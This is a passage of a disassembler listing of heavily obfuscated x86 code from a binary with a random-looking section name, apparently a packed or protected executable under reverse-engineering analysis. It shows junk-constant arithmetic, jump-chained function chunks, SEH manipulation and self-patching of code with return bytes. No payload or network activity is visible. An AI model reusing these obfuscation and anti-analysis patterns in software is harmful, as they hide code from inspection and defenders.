		lea	eax, sub_43B660
		mov	byte ptr [eax],	0C3h
		jmp	loc_45311C
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442852

loc_452816:				; CODE XREF: sub_442852+12j
		jz	loc_44DBF7
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		jmp	loc_44BF88
; END OF FUNCTION CHUNK	FOR sub_442852
; ---------------------------------------------------------------------------
		and	ebx, 1194A2C0h
		jmp	sub_455B54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_452834:				; CODE XREF: sub_450B01:loc_44F555j
		cmp	dword ptr [ebp-1Ch], 66h
		call	sub_458D70

loc_45283D:				; CODE XREF: sub_443862+225j
		jmp	loc_443C9B
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------

loc_452842:				; CODE XREF: dviuq5id:00440BEBj
		jmp	loc_44C73A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_452847:				; CODE XREF: sub_439013+8j
		pop	ebx
		sub	ebx, 2054F284h
		or	ebx, 2A9548Bh
		add	ebx, 2C8B423Fh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_449F09
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
		xchg	esi, [ecx]
		rol	edx, 1Ah
		jmp	sub_43E095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_45286C:				; CODE XREF: sub_43F285+18777j
		jp	loc_4489D2
		sbb	ebp, ecx
		jmp	loc_43F4BE
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_452879:				; CODE XREF: sub_43C9A9:loc_45A482j
		add	esp, 4

loc_45287C:				; CODE XREF: sub_4594EB+6j
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		pop	ebp
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_452885:				; CODE XREF: sub_44C80D+C070j
		jmp	loc_445E77
; END OF FUNCTION CHUNK	FOR sub_44C80D

; =============== S U B	R O U T	I N E =======================================



sub_45288A	proc near		; CODE XREF: sub_44C6B8:loc_43E9B5j
					; sub_43F9BC+4p

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D7D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DA60 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043DF48 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F6AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FBF5 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00443925 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004441A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004447DF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00449010 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449901 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449CCA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BDCF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044DB6B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0045400D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459D23 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0045A57D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045A68A SIZE 00000006 BYTES

		push	large dword ptr	fs:0
		jmp	loc_43DF48
sub_45288A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_452896:				; CODE XREF: dviuq5id:loc_443192j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459F64

loc_452897:				; CODE XREF: sub_459F64+11j
		jmp	loc_4444E4
; END OF FUNCTION CHUNK	FOR sub_459F64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_45289C:				; CODE XREF: sub_44C4E2:loc_44E0F4j
		add	esi, 0A313906Dh
		and	esi, 2F607C1Eh
		test	esi, 8
		jmp	loc_450ED7
; END OF FUNCTION CHUNK	FOR sub_44C4E2

; =============== S U B	R O U T	I N E =======================================



sub_4528B3	proc near		; DATA XREF: sub_43B1C4+E342o

; FUNCTION CHUNK AT 0043F7A7 SIZE 00000005 BYTES

		mov	ds:off_41D0B4, eax
		lea	eax, loc_455001
		mov	byte ptr [eax],	0C3h
		jmp	loc_43F7A7
sub_4528B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_4528C7:				; CODE XREF: sub_43B1C4+19E43j
		mov	eax, [esp+0]
		push	edx
		call	sub_43EAD5
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_4528D0:				; CODE XREF: sub_44B99E+379Cj
		jmp	loc_4574B5
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_4528D5:				; CODE XREF: sub_441F76:loc_4445EBj
		pushf
		jmp	loc_4448F0
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------
		mov	ds:off_41D034, eax
		lea	eax, sub_44E763
		mov	byte ptr [eax],	0C3h
		jmp	loc_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E763

loc_4528EF:				; CODE XREF: sub_44E763j
		pop	edx
		mov	eax, [esp-4+arg_0]

loc_4528F3:				; CODE XREF: dviuq5id:0045717Fj
		push	edx
		jmp	loc_45215C
; END OF FUNCTION CHUNK	FOR sub_44E763
; ---------------------------------------------------------------------------

loc_4528F9:				; CODE XREF: dviuq5id:00443582j
		jnp	loc_444DEB

; =============== S U B	R O U T	I N E =======================================



sub_4528FF	proc near		; CODE XREF: dviuq5id:004568F8p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_446CFB
sub_4528FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_45290B:				; DATA XREF: sub_44279B:loc_445E6Do
		pop	ebx
		jz	loc_45123A
		jmp	loc_43F09D
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_452918:				; CODE XREF: sub_448424-4900j
		jmp	loc_43BAFA
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2BA

loc_45291D:				; CODE XREF: sub_43B2BA:loc_44AC29j
		jge	loc_44B235

loc_452923:				; CODE XREF: dviuq5id:00442559j
		jmp	loc_451235
; END OF FUNCTION CHUNK	FOR sub_43B2BA
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_44B230
; ---------------------------------------------------------------------------
		not	ebp
		jmp	sub_44C592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B80C

loc_452935:				; CODE XREF: sub_43B80C:loc_446D63j
		or	edx, eax
		push	ecx
		call	sub_4572AA

loc_45293D:				; CODE XREF: sub_44E1C0+856Fj
		jmp	nullsub_155
; END OF FUNCTION CHUNK	FOR sub_43B80C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456EE5

loc_452942:				; CODE XREF: sub_456EE5-1C869j
		sbb	esi, 9D6D9DEh

loc_452948:				; CODE XREF: sub_456EE5:loc_4523A1j
		call	sub_456F43
		mov	edx, 0B242B436h
		push	edx
		push	7B78E520h
		pop	edx
		jmp	loc_457A12
; END OF FUNCTION CHUNK	FOR sub_456EE5

; =============== S U B	R O U T	I N E =======================================



sub_45295E	proc near		; CODE XREF: sub_453642:loc_441E48p
					; dviuq5id:0044CDFDj

; FUNCTION CHUNK AT 0044ABB5 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	edx, ds:dword_43C4A4
		or	edx, edx
		jnz	loc_44ABB5
		jmp	loc_448712
sub_45295E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_452975	proc near		; CODE XREF: sub_453C98j

; FUNCTION CHUNK AT 00446968 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+0]
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		push	offset loc_444CA3
		jmp	loc_446968
sub_452975	endp

; ---------------------------------------------------------------------------

loc_45298A:				; DATA XREF: dviuq5id:0044A3BEo
		push	5F9CF6CCh
		pop	ebx
		and	ebx, 84702015h
		or	ebx, 91F819DFh
		cmp	ebx, 8E6CD5B4h
		jmp	loc_451924
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4529A8:				; CODE XREF: dviuq5id:00447A63j
		jl	loc_45486E

; =============== S U B	R O U T	I N E =======================================



sub_4529AE	proc near		; CODE XREF: sub_450F99-39F5p

; FUNCTION CHUNK AT 004450DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450301 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00456291 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004598B3 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_453642
		jmp	loc_456291
sub_4529AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_4529BC:				; CODE XREF: sub_443AC1-8A3Bj
		mov	edx, [edx]
		jmp	loc_442216
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_4529C3:				; CODE XREF: sub_459983:loc_442E3Cj
		call	sub_453626
; END OF FUNCTION CHUNK	FOR sub_459983
; START	OF FUNCTION CHUNK FOR sub_455B71

loc_4529C8:				; CODE XREF: sub_455B71+Dj
		jmp	loc_45620E
; END OF FUNCTION CHUNK	FOR sub_455B71
; ---------------------------------------------------------------------------

loc_4529CD:				; CODE XREF: dviuq5id:00449E92j
		xchg	eax, ebx
; START	OF FUNCTION CHUNK FOR sub_459385

loc_4529CF:				; CODE XREF: sub_459385-F504j
		or	edi, 0D1005CB4h
		add	edi, 85C673Ah
		xchg	edi, [esp+4+var_4]
		jmp	loc_43EF9B
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_4529E3:				; CODE XREF: sub_45844D:loc_4463ADj
		jz	loc_4529FC
		mov	eax, ds:dword_44DE70
		mov	eax, [eax]
		mov	ds:dword_44DE84, eax
		xor	eax, eax
		mov	ds:dword_44DE70, eax

loc_4529FC:				; CODE XREF: dviuq5id:0043953Bj
					; sub_45844D:loc_4529E3j ...
		jo	loc_44B336
		jmp	loc_449EB2
; END OF FUNCTION CHUNK	FOR sub_45844D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_452A07:				; CODE XREF: sub_44C50A:loc_442D98j
		jnz	loc_452F8B

loc_452A0D:				; CODE XREF: sub_443354+F18Aj
		jmp	loc_443BE6
; END OF FUNCTION CHUNK	FOR sub_44C50A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_452A12:				; CODE XREF: sub_4551F9-76F0j
		jmp	loc_445055
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
		test	ebx, 0CAAC5E60h
		jmp	loc_44C5B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_452A22:				; CODE XREF: sub_44646F:loc_43AC96j
		mov	al, [eax]
		js	loc_43CE10
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_4485D5
; END OF FUNCTION CHUNK	FOR sub_44646F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4583FB

loc_452A39:				; CODE XREF: sub_4583FB+14j
		jmp	nullsub_321
; END OF FUNCTION CHUNK	FOR sub_4583FB

; =============== S U B	R O U T	I N E =======================================



sub_452A3E	proc near		; CODE XREF: dviuq5id:0043C818j
					; sub_44C378-72C7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00445ABF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044CC1A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044DE92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450852 SIZE 00000023 BYTES

		xchg	edi, [esp+4+var_4]
		pop	edi
		add	edi, 30A10E3h
		xor	eax, edi
		pop	edi
		push	ecx
		jmp	loc_44CC1A
sub_452A3E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	eax, ecx
		jmp	loc_43F375
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_452A61:				; CODE XREF: sub_44B2EA-102C2j
		cmp	esi, ebx
		jmp	loc_43C6A0
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_335. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_452A69:				; CODE XREF: dviuq5id:00459550j
		jmp	sub_44508C
; ---------------------------------------------------------------------------

loc_452A6E:				; CODE XREF: dviuq5id:00458E25j
		jmp	loc_45053D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_452A73	proc near		; CODE XREF: dviuq5id:0043A533p
					; sub_43A6DCp ...

; FUNCTION CHUNK AT 00440EB1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441CB8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00446D93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004491A0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00450FB2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00452F34 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004544D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455513 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456C5A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00456EB0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00458D6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004597D3 SIZE 00000015 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		call	sub_440599

loc_452A81:				; CODE XREF: sub_448154:loc_43D197j
					; sub_4489BA+76FDj
		jmp	loc_441CB8
sub_452A73	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_452A86:				; CODE XREF: sub_445437-71EDj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D42F

loc_452A8B:				; CODE XREF: sub_44D42F-69ECj
		mov	ds:off_41D160, eax
		call	sub_458C46

loc_452A96:				; CODE XREF: sub_439EDE+202E8j
		jmp	loc_454E09
; END OF FUNCTION CHUNK	FOR sub_44D42F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_452A9B:				; CODE XREF: sub_44C2F6+6E77j
		jmp	nullsub_189
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------

loc_452AA0:				; CODE XREF: dviuq5id:0044EA23j
		jmp	locret_45394A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB05

loc_452AA5:				; CODE XREF: sub_43CB05+A02j
		jmp	sub_43CB7F
; END OF FUNCTION CHUNK	FOR sub_43CB05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459545

loc_452AAA:				; CODE XREF: sub_459545:loc_44AC1Fj
		push	ecx
		call	sub_44D45B
		jmp	ds:off_41D0B0
; END OF FUNCTION CHUNK	FOR sub_459545
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_452AB6:				; CODE XREF: sub_43FAE1+FC0j
		jmp	nullsub_158
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_452ABB:				; CODE XREF: sub_43B89D:loc_44262Fj
					; sub_44C592-7A0Cj ...
		jno	loc_444B8B
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edx
		jmp	loc_444694
; END OF FUNCTION CHUNK	FOR sub_43B89D
; ---------------------------------------------------------------------------

locret_452ACB:				; CODE XREF: dviuq5id:loc_4432D4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_452ACC:				; CODE XREF: sub_443F7F+19j
		jmp	loc_43A437
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45147D

loc_452AD1:				; CODE XREF: sub_45147D:loc_43E529j
		pushf
		push	0F4559E70h
		pop	edi
		rol	edi, 5
		cmp	edi, 0F57996EEh

loc_452AE1:				; CODE XREF: dviuq5id:00441616j
		jmp	loc_43A57C
; END OF FUNCTION CHUNK	FOR sub_45147D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_452AE6:				; CODE XREF: sub_453D79-B91Dj
		jbe	loc_4489B4
		rol	edi, 8

loc_452AEF:				; CODE XREF: sub_453D79:loc_4459CBj
		xor	eax, 0EC83A662h
		test	eax, 2
		jmp	loc_441EC0
; END OF FUNCTION CHUNK	FOR sub_453D79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4461D0

loc_452B00:				; CODE XREF: sub_4461D0:loc_456F8Cj
		jge	loc_449753
		mov	ecx, esi
		mov	ecx, 92B99FF4h
		xor	eax, 0D7863A5Ah
		jmp	loc_449753
; END OF FUNCTION CHUNK	FOR sub_4461D0
; ---------------------------------------------------------------------------
		pop	ecx
		xchg	esi, ebp
		jmp	sub_458964
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_452B20:				; CODE XREF: dviuq5id:0044A6CCj
					; sub_439013:loc_457FDDj
		rol	eax, 1Ah
		xor	eax, 0C5F3F30Ah
		add	eax, ebp
		add	eax, 0C6EB4327h
		mov	eax, [eax]
		mov	al, [eax]
		jo	loc_448289
		jmp	loc_445190
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_452B40:				; CODE XREF: sub_4492F0+7135j
		jge	loc_43B0F0

loc_452B46:				; CODE XREF: sub_43DCB4:loc_452F59j
		mov	eax, [esp-4+arg_0]
		push	edi
		push	0F25255B4h
		pop	edi
		sub	edi, 4D522D3Ah
		xor	edi, 2B083322h
		sub	edi, ds:4000F9h
		jmp	loc_453CC6
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432C4

loc_452B67:				; CODE XREF: sub_4432C4-893Cj
		jg	loc_4455A6

loc_452B6D:				; CODE XREF: sub_4432C4:loc_441826j
		push	offset sub_4595B5
		jmp	nullsub_402
; END OF FUNCTION CHUNK	FOR sub_4432C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E763

loc_452B77:				; CODE XREF: sub_44E763:loc_439CECj
		jnz	loc_447DC5
		jmp	loc_44237D
; END OF FUNCTION CHUNK	FOR sub_44E763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_452B82:				; CODE XREF: sub_43C3D8:loc_459A04j
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	2Eh
		jnz	loc_442622
		mov	eax, [ebp-20h]
		push	offset loc_443F27
		jmp	loc_442D8E
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------

loc_452B9B:				; CODE XREF: dviuq5id:00454345j
		jz	locret_457F73
		cdq
		jle	loc_44F915
		test	ebp, eax
		jmp	loc_442A25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E109

loc_452BAF:				; CODE XREF: sub_44E109+9229j
		mov	edx, [esp+4+var_4]
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		mov	eax, edx
		jmp	loc_44CCD2
; END OF FUNCTION CHUNK	FOR sub_44E109

; =============== S U B	R O U T	I N E =======================================



sub_452BBF	proc near		; CODE XREF: dviuq5id:0043A0BCj
					; sub_43EA36+182ACp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044167D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00446825 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044FF70 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004508C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455ED0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045891F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045A286 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	eax, [esp+0]
		mov	ebp, eax
		call	sub_443D0F

loc_452BCD:				; CODE XREF: sub_4393C3+CB0Cj
		test	edx, 4F8F0ADAh
		jmp	loc_446825
sub_452BBF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_452BD8:				; CODE XREF: dviuq5id:00447FAEj
		call	sub_43D7C1
		mov	eax, 0D504D785h
		push	ebx
		push	0D299D6ECh
		jmp	loc_44F70F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_381. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_452BEE:				; CODE XREF: dviuq5id:00440973j
		mov	ebp, esp
		jnz	loc_442712
		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_3
		mov	byte ptr [eax],	0C3h
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_45A4C9

loc_452C05:				; CODE XREF: sub_45A4C9-13DABj
		push	1Ch
		jmp	loc_457E32
; END OF FUNCTION CHUNK	FOR sub_45A4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443328

loc_452C0C:				; CODE XREF: sub_443328:loc_43A313j
		push	esi
		push	0D031A805h
		pop	esi
		and	esi, 0DE0B2D6Eh
		cmp	esi, 0DAD43970h
		jmp	loc_4457D0
; END OF FUNCTION CHUNK	FOR sub_443328
; ---------------------------------------------------------------------------

loc_452C24:				; CODE XREF: dviuq5id:004525A2j
		pop	esi
		rol	esi, 0Fh
		or	esi, 307AF7A3h
		add	esi, 4DC644E3h
		xchg	esi, [esp]
		jmp	sub_44952D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_452C3C:				; CODE XREF: sub_44EAC4-1A7Ej
		jg	loc_43E3DF
		sub	eax, 9EA02007h
; END OF FUNCTION CHUNK	FOR sub_44EAC4

; =============== S U B	R O U T	I N E =======================================



sub_452C48	proc near		; CODE XREF: sub_44EAC4:loc_440218j

; FUNCTION CHUNK AT 0043FF8A SIZE 0000000E BYTES

		push	ebx
		push	7C64AEB7h
		pop	ebx
		or	ebx, 0E5623C4Ah
		jmp	loc_43FF8A
sub_452C48	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_452C5A:				; CODE XREF: sub_43C3D8:loc_45782Cj
		call	sub_441C54
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_43A0F1
		jmp	loc_4496B1
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_452C72:				; CODE XREF: sub_456253:loc_455CCCj
		jmp	loc_4541EC
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451BE3

loc_452C77:				; CODE XREF: sub_451BE3-8339j
		jmp	nullsub_214
; END OF FUNCTION CHUNK	FOR sub_451BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_452C7C:				; CODE XREF: sub_441C84+1BBDj
		jmp	loc_43EAAE
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B660

loc_452C81:				; CODE XREF: sub_43B660+6BE0j
		jmp	sub_44D7C7
; END OF FUNCTION CHUNK	FOR sub_43B660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458330

loc_452C86:				; CODE XREF: sub_458330:loc_43AA7Fj
		jz	loc_458074
		jmp	loc_439D37
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------
		push	ebx
		push	8519544Eh
		xchg	ebp, [esp]
		mov	ebx, ebp
		pop	ebp
		add	ebx, 0B3F26211h
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_452CA3:				; CODE XREF: sub_449B5B+12A1j
		jmp	loc_4527F0
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------

loc_452CA8:				; CODE XREF: dviuq5id:loc_44BFB6j
		call	sub_449E4E
; START	OF FUNCTION CHUNK FOR sub_44D0F2

loc_452CAD:				; CODE XREF: sub_44D0F2+13j
		jmp	loc_439D12
; END OF FUNCTION CHUNK	FOR sub_44D0F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_452CB2:				; CODE XREF: sub_446A9C:loc_449AE6j
		add	eax, 26A48888h
		sub	eax, 0C01AEC97h
		add	eax, 0D53BEE4Fh
		xchg	eax, [esp+0]
		jmp	loc_43BEF9
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 0Dh
		push	esi
		push	79DAB0D5h
		pop	esi
		jmp	loc_43D094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_452CDC:				; CODE XREF: sub_44864B:loc_458563j
		jnz	loc_44492B
		jmp	loc_44D67C
; END OF FUNCTION CHUNK	FOR sub_44864B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EC6

loc_452CE7:				; CODE XREF: sub_451EC6:loc_441ADCj
		jge	loc_443A92

loc_452CED:				; CODE XREF: sub_457CA3+3j
		jmp	sub_43D28E
; END OF FUNCTION CHUNK	FOR sub_451EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_452CF2:				; CODE XREF: dviuq5id:00452F49j
					; sub_44C6B8:loc_458FF3j
		jmp	loc_453085
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EEAC

loc_452CF7:				; CODE XREF: sub_43EEAC+F83Aj
		jmp	loc_459E63
; END OF FUNCTION CHUNK	FOR sub_43EEAC
; ---------------------------------------------------------------------------

loc_452CFC:				; CODE XREF: dviuq5id:0043DE68j
		jmp	loc_4526E6
; ---------------------------------------------------------------------------
		sub	ebx, 0E6ED0178h
		xchg	ecx, ebx
		sbb	ebx, ebp
		test	ebp, eax
		jmp	loc_443A8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_452D12:				; CODE XREF: sub_4585FC:loc_454F8Bj
		mov	eax, large fs:20h
		or	eax, eax
		jz	loc_444B40
		jmp	loc_45036D
; END OF FUNCTION CHUNK	FOR sub_4585FC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_464. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_452D27:				; CODE XREF: dviuq5id:0044B731j
		jmp	sub_453642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44440E

loc_452D2C:				; CODE XREF: sub_44440E+Cj
		jmp	loc_4561CB
; END OF FUNCTION CHUNK	FOR sub_44440E
; ---------------------------------------------------------------------------

loc_452D31:				; CODE XREF: dviuq5id:004425BAj
		jmp	loc_455BF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450DC5

loc_452D36:				; CODE XREF: sub_450DC5+5j
		push	ecx
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		jmp	loc_44971F
; END OF FUNCTION CHUNK	FOR sub_450DC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_452D46:				; CODE XREF: sub_44460F-5CF1j
		ja	loc_43C13B

loc_452D4C:				; CODE XREF: sub_44460F:loc_444307j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_45A2F9
		jmp	loc_439D1E
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439CB7

loc_452D5D:				; CODE XREF: sub_439CB7+680Ej
		xchg	ecx, ebx
		pop	ebx

